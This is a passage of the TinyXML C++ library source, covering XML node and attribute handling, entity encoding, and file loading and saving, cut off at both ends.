Permission is granted to anyone to use this software for any
purpose, including commercial applications, and to alter it and
redistribute it freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must
not claim that you wrote the original software. If you use this
software in a product, an acknowledgment in the product documentation
would be appreciated but is not required.
2. Altered source versions must be plainly marked as such, and
must not be misrepresented as being the original software.
3. This notice may not be removed or altered from any source
distribution.
*/
#include "stdafx.h"
#include <ctype.h>
#ifdef TIXML_USE_STL
#include <sstream>
#include <iostream>
#endif
#include "tinyxml.h"
bool TiXmlBase::condenseWhiteSpace = true;
// Microsoft compiler security
FILE* TiXmlFOpen( const char* filename, const char* mode )
{
#if defined(_MSC_VER) && (_MSC_VER >= 1400 )
FILE* fp = 0;
errno_t err = fopen_s( &fp, filename, mode );
if ( !err && fp )
return fp;
return 0;
#else
return fopen( filename, mode );
#endif
}
void TiXmlBase::EncodeString( const TIXML_STRING& str, TIXML_STRING* outString )
{
int i=0;
while( i<(int)str.length() )
{
unsigned char c = (unsigned char) str[i];
if ( c == '&'
&& i < ( (int)str.length() - 2 )
&& str[i+1] == '#'
&& str[i+2] == 'x' )
{
// Hexadecimal character reference.
// Pass through unchanged.
// © -- copyright symbol, for example.
//
// The -1 is a bug fix from Rob Laveaux. It keeps
// an overflow from happening if there is no ';'.
// There are actually 2 ways to exit this loop -
// while fails (error case) and break (semicolon found).
// However, there is no mechanism (currently) for
// this function to return an error.
while ( i<(int)str.length()-1 )
{
outString->append( str.c_str() + i, 1 );
++i;
if ( str[i] == ';' )
break;
}
}
else if ( c == '&' )
{
outString->append( entity[0].str, entity[0].strLength );
++i;
}
else if ( c == '<' )
{
outString->append( entity[1].str, entity[1].strLength );
++i;
}
else if ( c == '>' )
{
outString->append( entity[2].str, entity[2].strLength );
++i;
}
else if ( c == '\"' )
{
outString->append( entity[3].str, entity[3].strLength );
++i;
}
else if ( c == '\'' )
{
outString->append( entity[4].str, entity[4].strLength );
++i;
}
else if ( c < 32 )
{
// Easy pass at non-alpha/numeric/symbol
// Below 32 is symbolic.
char buf[ 32 ];
#if defined(TIXML_SNPRINTF)
TIXML_SNPRINTF( buf, sizeof(buf), "&#x%02X;", (unsigned) ( c & 0xff ) );
#else
sprintf( buf, "&#x%02X;", (unsigned) ( c & 0xff ) );
#endif
//*ME: warning C4267: convert 'size_t' to 'int'
//*ME: Int-Cast to make compiler happy ...
outString->append( buf, (int)strlen( buf ) );
++i;
}
else
{
//char realc = (char) c;
//outString->append( &realc, 1 );
*outString += (char) c; // somewhat more efficient function call.
++i;
}
}
}
TiXmlNode::TiXmlNode( NodeType _type ) : TiXmlBase()
{
parent = 0;
type = _type;
firstChild = 0;
lastChild = 0;
prev = 0;
next = 0;
}
TiXmlNode::~TiXmlNode()
{
TiXmlNode* node = firstChild;
TiXmlNode* temp = 0;
while ( node )
{
temp = node;
node = node->next;
delete temp;
}
}
void TiXmlNode::CopyTo( TiXmlNode* target ) const
{
target->SetValue (value.c_str() );
target->userData = userData;
}
void TiXmlNode::Clear()
{
TiXmlNode* node = firstChild;
TiXmlNode* temp = 0;
while ( node )
{
temp = node;
node = node->next;
delete temp;
}
firstChild = 0;
lastChild = 0;
}
TiXmlNode* TiXmlNode::LinkEndChild( TiXmlNode* node )
{
assert( node->parent == 0 || node->parent == this );
assert( node->GetDocument() == 0 || node->GetDocument() == this->GetDocument() );
if ( node->Type() == TiXmlNode::DOCUMENT )
{
delete node;
if ( GetDocument() ) GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN );
return 0;
}
node->parent = this;
node->prev = lastChild;
node->next = 0;
if ( lastChild )
lastChild->next = node;
else
firstChild = node; // it was an empty list.
lastChild = node;
return node;
}
TiXmlNode* TiXmlNode::InsertEndChild( const TiXmlNode& addThis )
{
if ( addThis.Type() == TiXmlNode::DOCUMENT )
{
if ( GetDocument() ) GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN );
return 0;
}
TiXmlNode* node = addThis.Clone();
if ( !node )
return 0;
return LinkEndChild( node );
}
TiXmlNode* TiXmlNode::InsertBeforeChild( TiXmlNode* beforeThis, const TiXmlNode& addThis )
{
if ( !beforeThis || beforeThis->parent != this ) {
return 0;
}
if ( addThis.Type() == TiXmlNode::DOCUMENT )
{
if ( GetDocument() ) GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN );
return 0;
}
TiXmlNode* node = addThis.Clone();
if ( !node )
return 0;
node->parent = this;
node->next = beforeThis;
node->prev = beforeThis->prev;
if ( beforeThis->prev )
{
beforeThis->prev->next = node;
}
else
{
assert( firstChild == beforeThis );
firstChild = node;
}
beforeThis->prev = node;
return node;
}
TiXmlNode* TiXmlNode::InsertAfterChild( TiXmlNode* afterThis, const TiXmlNode& addThis )
{
if ( !afterThis || afterThis->parent != this ) {
return 0;
}
if ( addThis.Type() == TiXmlNode::DOCUMENT )
{
if ( GetDocument() ) GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN );
return 0;
}
TiXmlNode* node = addThis.Clone();
if ( !node )
return 0;
node->parent = this;
node->prev = afterThis;
node->next = afterThis->next;
if ( afterThis->next )
{
afterThis->next->prev = node;
}
else
{
assert( lastChild == afterThis );
lastChild = node;
}
afterThis->next = node;
return node;
}
TiXmlNode* TiXmlNode::ReplaceChild( TiXmlNode* replaceThis, const TiXmlNode& withThis )
{
if ( replaceThis->parent != this )
return 0;
TiXmlNode* node = withThis.Clone();
if ( !node )
return 0;
node->next = replaceThis->next;
node->prev = replaceThis->prev;
if ( replaceThis->next )
replaceThis->next->prev = node;
else
lastChild = node;
if ( replaceThis->prev )
replaceThis->prev->next = node;
else
firstChild = node;
delete replaceThis;
node->parent = this;
return node;
}
bool TiXmlNode::RemoveChild( TiXmlNode* removeThis )
{
if ( removeThis->parent != this )
{
assert( 0 );
return false;
}
if ( removeThis->next )
removeThis->next->prev = removeThis->prev;
else
lastChild = removeThis->prev;
if ( removeThis->prev )
removeThis->prev->next = removeThis->next;
else
firstChild = removeThis->next;
delete removeThis;
return true;
}
const TiXmlNode* TiXmlNode::FirstChild( const char * _value ) const
{
const TiXmlNode* node;
for ( node = firstChild; node; node = node->next )
{
if ( strcmp( node->Value(), _value ) == 0 )
return node;
}
return 0;
}
const TiXmlNode* TiXmlNode::LastChild( const char * _value ) const
{
const TiXmlNode* node;
for ( node = lastChild; node; node = node->prev )
{
if ( strcmp( node->Value(), _value ) == 0 )
return node;
}
return 0;
}
const TiXmlNode* TiXmlNode::IterateChildren( const TiXmlNode* previous ) const
{
if ( !previous )
{
return FirstChild();
}
else
{
assert( previous->parent == this );
return previous->NextSibling();
}
}
const TiXmlNode* TiXmlNode::IterateChildren( const char * val, const TiXmlNode* previous ) const
{
if ( !previous )
{
return FirstChild( val );
}
else
{
assert( previous->parent == this );
return previous->NextSibling( val );
}
}
const TiXmlNode* TiXmlNode::NextSibling( const char * _value ) const
{
const TiXmlNode* node;
for ( node = next; node; node = node->next )
{
if ( strcmp( node->Value(), _value ) == 0 )
return node;
}
return 0;
}
const TiXmlNode* TiXmlNode::PreviousSibling( const char * _value ) const
{
const TiXmlNode* node;
for ( node = prev; node; node = node->prev )
{
if ( strcmp( node->Value(), _value ) == 0 )
return node;
}
return 0;
}
void TiXmlElement::RemoveAttribute( const char * name )
{
#ifdef TIXML_USE_STL
TIXML_STRING str( name );
TiXmlAttribute* node = attributeSet.Find( str );
#else
TiXmlAttribute* node = attributeSet.Find( name );
#endif
if ( node )
{
attributeSet.Remove( node );
delete node;
}
}
const TiXmlElement* TiXmlNode::FirstChildElement() const
{
const TiXmlNode* node;
for ( node = FirstChild();
node;
node = node->NextSibling() )
{
if ( node->ToElement() )
return node->ToElement();
}
return 0;
}
const TiXmlElement* TiXmlNode::FirstChildElement( const char * _value ) const
{
const TiXmlNode* node;
for ( node = FirstChild( _value );
node;
node = node->NextSibling( _value ) )
{
if ( node->ToElement() )
return node->ToElement();
}
return 0;
}
const TiXmlElement* TiXmlNode::NextSiblingElement() const
{
const TiXmlNode* node;
for ( node = NextSibling();
node;
node = node->NextSibling() )
{
if ( node->ToElement() )
return node->ToElement();
}
return 0;
}
const TiXmlElement* TiXmlNode::NextSiblingElement( const char * _value ) const
{
const TiXmlNode* node;
for ( node = NextSibling( _value );
node;
node = node->NextSibling( _value ) )
{
if ( node->ToElement() )
return node->ToElement();
}
return 0;
}
const TiXmlDocument* TiXmlNode::GetDocument() const
{
const TiXmlNode* node;
for( node = this; node; node = node->parent )
{
if ( node->ToDocument() )
return node->ToDocument();
}
return 0;
}
TiXmlElement::TiXmlElement (const char * _value)
: TiXmlNode( TiXmlNode::ELEMENT )
{
firstChild = lastChild = 0;
value = _value;
}
#ifdef TIXML_USE_STL
TiXmlElement::TiXmlElement( const std::string& _value )
: TiXmlNode( TiXmlNode::ELEMENT )
{
firstChild = lastChild = 0;
value = _value;
}
#endif
TiXmlElement::TiXmlElement( const TiXmlElement& copy)
: TiXmlNode( TiXmlNode::ELEMENT )
{
firstChild = lastChild = 0;
copy.CopyTo( this );
}
void TiXmlElement::operator=( const TiXmlElement& base )
{
ClearThis();
base.CopyTo( this );
}
TiXmlElement::~TiXmlElement()
{
ClearThis();
}
void TiXmlElement::ClearThis()
{
Clear();
while( attributeSet.First() )
{
TiXmlAttribute* node = attributeSet.First();
attributeSet.Remove( node );
delete node;
}
}
const char* TiXmlElement::Attribute( const char* name ) const
{
const TiXmlAttribute* node = attributeSet.Find( name );
if ( node )
return node->Value();
return 0;
}
#ifdef TIXML_USE_STL
const std::string* TiXmlElement::Attribute( const std::string& name ) const
{
const TiXmlAttribute* node = attributeSet.Find( name );
if ( node )
return &node->ValueStr();
return 0;
}
#endif
const char* TiXmlElement::Attribute( const char* name, int* i ) const
{
const char* s = Attribute( name );
if ( i )
{
if ( s ) {
*i = atoi( s );
}
else {
*i = 0;
}
}
return s;
}
#ifdef TIXML_USE_STL
const std::string* TiXmlElement::Attribute( const std::string& name, int* i ) const
{
const std::string* s = Attribute( name );
if ( i )
{
if ( s ) {
*i = atoi( s->c_str() );
}
else {
*i = 0;
}
}
return s;
}
#endif
const char* TiXmlElement::Attribute( const char* name, double* d ) const
{
const char* s = Attribute( name );
if ( d )
{
if ( s ) {
*d = atof( s );
}
else {
*d = 0;
}
}
return s;
}
#ifdef TIXML_USE_STL
const std::string* TiXmlElement::Attribute( const std::string& name, double* d ) const
{
const std::string* s = Attribute( name );
if ( d )
{
if ( s ) {
*d = atof( s->c_str() );
}
else {
*d = 0;
}
}
return s;
}
#endif
int TiXmlElement::QueryIntAttribute( const char* name, int* ival ) const
{
const TiXmlAttribute* node = attributeSet.Find( name );
if ( !node )
return TIXML_NO_ATTRIBUTE;
return node->QueryIntValue( ival );
}
#ifdef TIXML_USE_STL
int TiXmlElement::QueryIntAttribute( const std::string& name, int* ival ) const
{
const TiXmlAttribute* node = attributeSet.Find( name );
if ( !node )
return TIXML_NO_ATTRIBUTE;
return node->QueryIntValue( ival );
}
#endif
int TiXmlElement::QueryDoubleAttribute( const char* name, double* dval ) const
{
const TiXmlAttribute* node = attributeSet.Find( name );
if ( !node )
return TIXML_NO_ATTRIBUTE;
return node->QueryDoubleValue( dval );
}
#ifdef TIXML_USE_STL
int TiXmlElement::QueryDoubleAttribute( const std::string& name, double* dval ) const
{
const TiXmlAttribute* node = attributeSet.Find( name );
if ( !node )
return TIXML_NO_ATTRIBUTE;
return node->QueryDoubleValue( dval );
}
#endif
void TiXmlElement::SetAttribute( const char * name, int val )
{
char buf[64];
#if defined(TIXML_SNPRINTF)
TIXML_SNPRINTF( buf, sizeof(buf), "%d", val );
#else
sprintf( buf, "%d", val );
#endif
SetAttribute( name, buf );
}
#ifdef TIXML_USE_STL
void TiXmlElement::SetAttribute( const std::string& name, int val )
{
std::ostringstream oss;
oss << val;
SetAttribute( name, oss.str() );
}
#endif
void TiXmlElement::SetDoubleAttribute( const char * name, double val )
{
char buf[256];
#if defined(TIXML_SNPRINTF)
TIXML_SNPRINTF( buf, sizeof(buf), "%f", val );
#else
sprintf( buf, "%f", val );
#endif
SetAttribute( name, buf );
}
void TiXmlElement::SetAttribute( const char * cname, const char * cvalue )
{
#ifdef TIXML_USE_STL
TIXML_STRING _name( cname );
TIXML_STRING _value( cvalue );
#else
const char* _name = cname;
const char* _value = cvalue;
#endif
TiXmlAttribute* node = attributeSet.Find( _name );
if ( node )
{
node->SetValue( _value );
return;
}
TiXmlAttribute* attrib = new TiXmlAttribute( cname, cvalue );
if ( attrib )
{
attributeSet.Add( attrib );
}
else
{
TiXmlDocument* document = GetDocument();
if ( document ) document->SetError( TIXML_ERROR_OUT_OF_MEMORY, 0, 0, TIXML_ENCODING_UNKNOWN );
}
}
#ifdef TIXML_USE_STL
void TiXmlElement::SetAttribute( const std::string& name, const std::string& _value )
{
TiXmlAttribute* node = attributeSet.Find( name );
if ( node )
{
node->SetValue( _value );
return;
}
TiXmlAttribute* attrib = new TiXmlAttribute( name, _value );
if ( attrib )
{
attributeSet.Add( attrib );
}
else
{
TiXmlDocument* document = GetDocument();
if ( document ) document->SetError( TIXML_ERROR_OUT_OF_MEMORY, 0, 0, TIXML_ENCODING_UNKNOWN );
}
}
#endif
void TiXmlElement::Print( FILE* cfile, int depth ) const
{
int i;
assert( cfile );
for ( i=0; i<depth; i++ ) {
fprintf( cfile, " " );
}
fprintf( cfile, "<%s", value.c_str() );
const TiXmlAttribute* attrib;
for ( attrib = attributeSet.First(); attrib; attrib = attrib->Next() )
{
fprintf( cfile, " " );
attrib->Print( cfile, depth );
}
// There are 3 different formatting approaches:
// 1) An element without children is printed as a <foo /> node
// 2) An element with only a text child is printed as <foo> text </foo>
// 3) An element with children is printed on multiple lines.
TiXmlNode* node;
if ( !firstChild )
{
fprintf( cfile, " />" );
}
else if ( firstChild == lastChild && firstChild->ToText() )
{
fprintf( cfile, ">" );
firstChild->Print( cfile, depth + 1 );
fprintf( cfile, "</%s>", value.c_str() );
}
else
{
fprintf( cfile, ">" );
for ( node = firstChild; node; node=node->NextSibling() )
{
if ( !node->ToText() )
{
fprintf( cfile, "\n" );
}
node->Print( cfile, depth+1 );
}
fprintf( cfile, "\n" );
for( i=0; i<depth; ++i ) {
fprintf( cfile, " " );
}
fprintf( cfile, "</%s>", value.c_str() );
}
}
void TiXmlElement::CopyTo( TiXmlElement* target ) const
{
// superclass:
TiXmlNode::CopyTo( target );
// Element class:
// Clone the attributes, then clone the children.
const TiXmlAttribute* attribute = 0;
for( attribute = attributeSet.First();
attribute;
attribute = attribute->Next() )
{
target->SetAttribute( attribute->Name(), attribute->Value() );
}
TiXmlNode* node = 0;
for ( node = firstChild; node; node = node->NextSibling() )
{
target->LinkEndChild( node->Clone() );
}
}
bool TiXmlElement::Accept( TiXmlVisitor* visitor ) const
{
if ( visitor->VisitEnter( *this, attributeSet.First() ) )
{
for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() )
{
if ( !node->Accept( visitor ) )
break;
}
}
return visitor->VisitExit( *this );
}
TiXmlNode* TiXmlElement::Clone() const
{
TiXmlElement* clone = new TiXmlElement( Value() );
if ( !clone )
return 0;
CopyTo( clone );
return clone;
}
const char* TiXmlElement::GetText() const
{
const TiXmlNode* child = this->FirstChild();
if ( child ) {
const TiXmlText* childText = child->ToText();
if ( childText ) {
return childText->Value();
}
}
return 0;
}
TiXmlDocument::TiXmlDocument() : TiXmlNode( TiXmlNode::DOCUMENT )
{
tabsize = 4;
useMicrosoftBOM = false;
ClearError();
}
TiXmlDocument::TiXmlDocument( const char * documentName ) : TiXmlNode( TiXmlNode::DOCUMENT )
{
tabsize = 4;
useMicrosoftBOM = false;
value = documentName;
ClearError();
}
#ifdef TIXML_USE_STL
TiXmlDocument::TiXmlDocument( const std::string& documentName ) : TiXmlNode( TiXmlNode::DOCUMENT )
{
tabsize = 4;
useMicrosoftBOM = false;
value = documentName;
ClearError();
}
#endif
TiXmlDocument::TiXmlDocument( const TiXmlDocument& copy ) : TiXmlNode( TiXmlNode::DOCUMENT )
{
copy.CopyTo( this );
}
void TiXmlDocument::operator=( const TiXmlDocument& copy )
{
Clear();
copy.CopyTo( this );
}
bool TiXmlDocument::LoadFile( TiXmlEncoding encoding )
{
// See STL_STRING_BUG below.
//StringToBuffer buf( value );
return LoadFile( Value(), encoding );
}
bool TiXmlDocument::SaveFile() const
{
// See STL_STRING_BUG below.
// StringToBuffer buf( value );
//
// if ( buf.buffer && SaveFile( buf.buffer ) )
// return true;
//
// return false;
return SaveFile( Value() );
}
bool TiXmlDocument::LoadFile( const char* _filename, TiXmlEncoding encoding )
{
// There was a really terrifying little bug here. The code:
// value = filename
// in the STL case, cause the assignment method of the std::string to
// be called. What is strange, is that the std::string had the same
// address as it's c_str() method, and so bad things happen. Looks
// like a bug in the Microsoft STL implementation.
// Add an extra string to avoid the crash.
TIXML_STRING filename( _filename );
value = filename;
// reading in binary mode so that tinyxml can normalize the EOL
FILE* file = TiXmlFOpen( value.c_str (), "rb" );
if ( file )
{
bool result = LoadFile( file, encoding );
fclose( file );
return result;
}
else
{
SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN );
return false;
}
}
bool TiXmlDocument::LoadFile( FILE* file, TiXmlEncoding encoding )
{
if ( !file )
{
SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN );
return false;
}
// Delete the existing data:
Clear();
location.Clear();
// Get the file size, so we can pre-allocate the string. HUGE speed impact.
long length = 0;
fseek( file, 0, SEEK_END );
length = ftell( file );
fseek( file, 0, SEEK_SET );
// Strange case, but good to handle up front.
if ( length <= 0 )
{
SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN );
return false;
}
// If we have a file, assume it is all one big XML file, and read it in.
// The document parser may decide the document ends sooner than the entire file, however.
TIXML_STRING data;
data.reserve( length );
// Subtle bug here. TinyXml did use fgets. But from the XML spec:
// 2.11 End-of-Line Handling
// <snip>
// <quote>
// ...the XML processor MUST behave as if it normalized all line breaks in external
// parsed entities (including the document entity) on input, before parsing, by translating
// both the two-character sequence #xD #xA and any #xD that is not followed by #xA to
// a single #xA character.
// </quote>
//
// It is not clear fgets does that, and certainly isn't clear it works cross platform.
// Generally, you expect fgets to translate from the convention of the OS to the c/unix
// convention, and not work generally.
/*
while( fgets( buf, sizeof(buf), file ) )
{
data += buf;
}
*/
char* buf = new char[ length+1 ];
buf[0] = 0;
if ( fread( buf, length, 1, file ) != 1 ) {
delete [] buf;
SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN );
return false;
}
const char* lastPos = buf;
const char* p = buf;
buf[length] = 0;
while( *p ) {
assert( p < (buf+length) );
if ( *p == 0xa ) {
// Newline character. No special rules for this. Append all the characters
// since the last string, and include the newline.
data.append( lastPos, (p-lastPos+1) ); // append, include the newline
++p; // move past the newline
lastPos = p; // and point to the new buffer (may be 0)
assert( p <= (buf+length) );
}
else if ( *p == 0xd ) {
// Carriage return. Append what we have so far, then
// handle moving forward in the buffer.
if ( (p-lastPos) > 0 ) {
data.append( lastPos, p-lastPos ); // do not add the CR
}
data += (char)0xa; // a proper newline
if ( *(p+1) == 0xa ) {
// Carriage return - new line sequence
p += 2;
lastPos = p;
assert( p <= (buf+length) );
}
else {
// it was followed by something else...that is presumably characters again.
++p;
lastPos = p;
assert( p <= (buf+length) );
}
}
else {
++p;
}
}
// Handle any left over characters.
if ( p-lastPos ) {
data.append( lastPos, p-lastPos );
}
delete [] buf;
buf = 0;
Parse( data.c_str(), 0, encoding );
if ( Error() )
return false;
else
return true;
}
bool TiXmlDocument::SaveFile( const char * filename ) const
{
// The old c stuff lives on...
FILE* fp = TiXmlFOpen( filename, "w" );
if ( fp )
{
bool result = SaveFile( fp );
fclose( fp );
return result;
}
return false;
}
bool TiXmlDocument::SaveFile( FILE* fp ) const
{
if ( useMicrosoftBOM )
{
const unsigned char TIXML_UTF_LEAD_0 = 0xefU;
const unsigned char TIXML_UTF_LEAD_1 = 0xbbU;
const unsigned char TIXML_UTF_LEAD_2 = 0xbfU;
fputc( TIXML_UTF_LEAD_0, fp );
fputc( TIXML_UTF_LEAD_1, fp );
fputc( TIXML_UTF_LEAD_2, fp );
}
Print( fp, 0 );
return (ferror(fp) == 0);
}
void TiXmlDocument::CopyTo( TiXmlDocument* target ) const
{
TiXmlNode::CopyTo( target );
target->error = error;
target->errorId = errorId;
target->errorDesc = errorDesc;
target->tabsize = tabsize;
target->errorLocation = errorLocation;
target->useMicrosoftBOM = useMicrosoftBOM;
TiXmlNode* node = 0;
for ( node = firstChild; node; node = node->NextSibling() )
{
target->LinkEndChild( node->Clone() );
}
}
TiXmlNode* TiXmlDocument::Clone() const
{
TiXmlDocument* clone = new TiXmlDocument();
if ( !clone )
return 0;
CopyTo( clone );
return clone;
}
void TiXmlDocument::Print( FILE* cfile, int depth ) const
{
assert( cfile );
for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() )
{
node->Print( cfile, depth );
fprintf( cfile, "\n" );
}
}
bool TiXmlDocument::Accept( TiXmlVisitor* visitor ) const
{
if ( visitor->VisitEnter( *this ) )
{
for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() )
{
if ( !node->Accept( visitor ) )
break;
}
}
return visitor->VisitExit( *this );
}
const TiXmlAttribute* TiXmlAttribute::Next() const
{
// We are using knowledge of the sentinel. The sentinel
// have a value or name.
if ( next->value.empty() && next->name.empty() )
return 0;
return next;
}
/*
TiXmlAttribute* TiXmlAttribute::Next()
{
// We are using knowledge of the sentinel. The sentinel
// have a value or name.
if ( next->value.empty() && next->name.empty() )
return 0;
return next;
}
*/
const TiXmlAttribute* TiXmlAttribute::Previous() const
{
// We are using knowledge of the sentinel. The sentinel
// have a value or name.
if ( prev->value.empty() && prev->name.empty() )
return 0;
return prev;
}
/*
TiXmlAttribute* TiXmlAttribute::Previous()
{
// We are using knowledge of the sentinel. The sentinel
// have a value or name.
if ( prev->value.empty() && prev->name.empty() )
return 0;
return prev;
}
*/
void TiXmlAttribute::Print( FILE* cfile, int /*depth*/, TIXML_STRING* str ) const
{
TIXML_STRING n, v;
EncodeString( name, &n );
EncodeString( value, &v );
if (value.find ('\"') == TIXML_STRING::npos) {
if ( cfile ) {
fprintf (cfile, "%s=\"%s\"", n.c_str(), v.c_str() );
}
if ( str ) {
(*str) += n; (*str) += "=\""; (*str) += v; (*str) += "\"";
}
}
else {
if ( cfile ) {
fprintf (cfile, "%s='%s'", n.c_str(), v.c_str() );
}
if ( str ) {
(*str) += n; (*str) += "='"; (*str) += v; (*str) += "'";
}
}
}
int TiXmlAttribute::QueryIntValue( int* ival ) const
{
if ( TIXML_SSCANF( value.c_str(), "%d", ival ) == 1 )
return TIXML_SUCCESS;
return TIXML_WRONG_TYPE;
}
int TiXmlAttribute::QueryDoubleValue( double* dval ) const
{
if ( TIXML_SSCANF( value.c_str(), "%lf", dval ) == 1 )
return TIXML_SUCCESS;
return TIXML_WRONG_TYPE;
}
void TiXmlAttribute::SetIntValue( int _value )
{
char buf [64];
#if defined(TIXML_SNPRINTF)
TIXML_SNPRINTF(buf, sizeof(buf), "%d", _value);
#else
sprintf (buf, "%d", _value);
#endif
SetValue (buf);
}
void TiXmlAttribute::SetDoubleValue( double _value )
{
char buf [256];
#if defined(TIXML_SNPRINTF)
TIXML_SNPRINTF( buf, sizeof(buf), "%lf", _value);
#else
sprintf (buf, "%lf", _value);
#endif
SetValue (buf);
}
int TiXmlAttribute::IntValue() const
{
return atoi (value.c_str ());
}
double TiXmlAttribute::DoubleValue() const
{
return atof (value.c_str ());
}
TiXmlComment::TiXmlComment( const TiXmlComment& copy ) : TiXmlNode( TiXmlNode::COMMENT )
{
copy.CopyTo( this );
}
void TiXmlComment::operator=( const TiXmlComment& base )
{
Clear();
base.CopyTo( this );
}
void TiXmlComment::Print( FILE* cfile, int depth ) const
{
assert( cfile );
for ( int i=0; i<depth; i++ )
{
fprintf( cfile, " " );
}
fprintf( cfile, "<!--%s-->", value.c_str() );
}
void TiXmlComment::CopyTo( TiXmlComment* target ) const
{
TiXmlNode::CopyTo( target );
}
bool TiXmlComment::Accept( TiXmlVisitor* visitor ) const
{
return visitor->Visit( *this );
}
TiXmlNode* TiXmlComment::Clone() const
{
TiXmlComment* clone = new TiXmlComment();
if ( !clone )
return 0;
CopyTo( clone );
return clone;
}
void TiXmlText::Print( FILE* cfile, int depth ) const
{
assert( cfile );
if ( cdata )
{
int i;
fprintf( cfile, "\n" );
for ( i=0; i<depth; i++ ) {
fprintf( cfile, " " );
}
fprintf( cfile, "<![CDATA[%s]]>\n", value.c_str() ); // unformatted output
}
else
{
TIXML_STRING buffer;
EncodeString( value, &buffer );
fprintf( cfile, "%s", buffer.c_str() );
}
}
void TiXmlText::CopyTo( TiXmlText* target ) const
{
TiXmlNode::CopyTo( target );
target->cdata = cdata;
}
bool TiXmlText::Accept( TiXmlVisitor* visitor ) const
{
return visitor->Visit( *this );
}
TiXmlNode* TiXmlText::Clone() const
{
TiXmlText* clone = 0;
clone = new TiXmlText( "" );
if ( !clone )
return 0;
CopyTo( clone );
return clone;
}
TiXmlDeclaration::TiXmlDeclaration( const char * _version,
const char * _encoding,
const char * _standalone )
: TiXmlNode( TiXmlNode::DECLARATION )
{
version = _version;
encoding = _encoding;
standalone = _standalone;
}
#ifdef TIXML_USE_STL
TiXmlDeclaration::TiXmlDeclaration( const std::string& _version,
const std::string& _encoding,
const std::string& _standalone )
: TiXmlNode( TiXmlNode::DECLARATION )
{
version = _version;
encoding = _encoding;
standalone = _standalone;
}
#endif
TiXmlDeclaration::TiXmlDeclaration( const TiXmlDeclaration& copy )
: TiXmlNode( TiXmlNode::DECLARATION )
{
copy.CopyTo( this );
}
void TiXmlDeclaration::operator=( const TiXmlDeclaration& copy )
{
Clear();
copy.CopyTo( this );
}
void TiXmlDeclaration::Print( FILE* cfile, int /*depth*/, TIXML_STRING* str ) const
{
if ( cfile ) fprintf( cfile, "<?xml " );
if ( str ) (*str) += "<?xml ";
if ( !version.empty() ) {
if ( cfile ) fprintf (cfile, "version=\"%s\" ", version.c_str ());
if ( str ) { (*str) += "version=\""; (*str) += version; (*str) += "\" "; }
}
if ( !encoding.empty() ) {
if ( cfile ) fprintf (cfile, "encoding=\"%s\" ", encoding.c_str ());
if ( str ) { (*str) += "encoding=\""; (*str) += encoding; (*str) += "\" "; }
}
if ( !standalone.empty() ) {
if ( cfile ) fprintf (cfile, "standalone=\"%s\" ", standalone.c_str ());
if ( str ) { (*str) += "standalone=\""; (*str) += standalone; (*str) += "\" "; }
}
if ( cfile ) fprintf( cfile, "?>" );
if ( str ) (*str) += "?>";
}
void TiXmlDeclaration::CopyTo( TiXmlDeclaration* target ) const
{
TiXmlNode::CopyTo( target );
target->version = version;
target->encoding = encoding;
target->standalone = standalone;
}
bool TiXmlDeclaration::Accept( TiXmlVisitor* visitor ) const
{
return visitor->Visit( *this );
}
TiXmlNode* TiXmlDeclaration::Clone() const
{
TiXmlDeclaration* clone = new TiXmlDeclaration();
if ( !clone )
return 0;
CopyTo( clone );
return clone;
}
void TiXmlUnknown::Print( FILE* cfile, int depth ) const
{
for ( int i=0; i<depth; i++ )
fprintf( cfile, " " );
fprintf( cfile, "<%s>", value.c_str() );
}
void TiXmlUnknown::CopyTo( TiXmlUnknown* target ) const
{
TiXmlNode::CopyTo( target );
}
bool TiXmlUnknown::Accept( TiXmlVisitor* visitor ) const
{
return visitor->Visit( *this );
}
TiXmlNode* TiXmlUnknown::Clone() const
{
TiXmlUnknown* clone = new TiXmlUnknown();
if ( !clone )
return 0;
CopyTo( clone );
return clone;
}
TiXmlAttributeSet::TiXmlAttributeSet()
{
sentinel.next = &sentinel;
sentinel.prev = &sentinel;
}
TiXmlAttributeSet::~TiXmlAttributeSet()
{
assert( sentinel.next == &sentinel );
assert( sentinel.prev == &sentinel );
}
void TiXmlAttributeSet::Add( TiXmlAttribute* addMe )
{
#ifdef TIXML_USE_STL
assert( !Find( TIXML_STRING( addMe->Name() ) ) ); // Shouldn't be multiply adding to the set.
#else
assert( !Find( addMe->Name() ) ); // Shouldn't be multiply adding to the set.
#endif
addMe->next = &sentinel;
addMe->prev = sentinel.prev;
sentinel.prev->next = addMe;
sentinel.prev = addMe;
}
void TiXmlAttributeSet::Remove( TiXmlAttribute* removeMe )
{
TiXmlAttribute* node;
for( node = sentinel.next; node != &sentinel; node = node->next )
{
if ( node == removeMe )
{
node->prev->next = node->next;
node->next->prev = node->prev;
node->next = 0;
node->prev = 0;
return;
}
}
assert( 0 ); // we tried to remove a non-linked attribute.
}
#ifdef TIXML_USE_STL
const TiXmlAttribute* TiXmlAttributeSet::Find( const std::string& name ) const
{
for( const TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next )
{
if ( node->name == name )
return node;
}
return 0;
}
/*
TiXmlAttribute* TiXmlAttributeSet::Find( const std::string& name )
{
for( TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next )
{
if ( node->name == name )
return node;
}
return 0;
}
*/
#endif
const TiXmlAttribute* TiXmlAttributeSet::Find( const char* name ) const
{
for( const TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next )
{
if ( strcmp( node->name.c_str(), name ) == 0 )
return node;
}
return 0;
}
/*
TiXmlAttribute* TiXmlAttributeSet::Find( const char* name )
{
for( TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next )
{
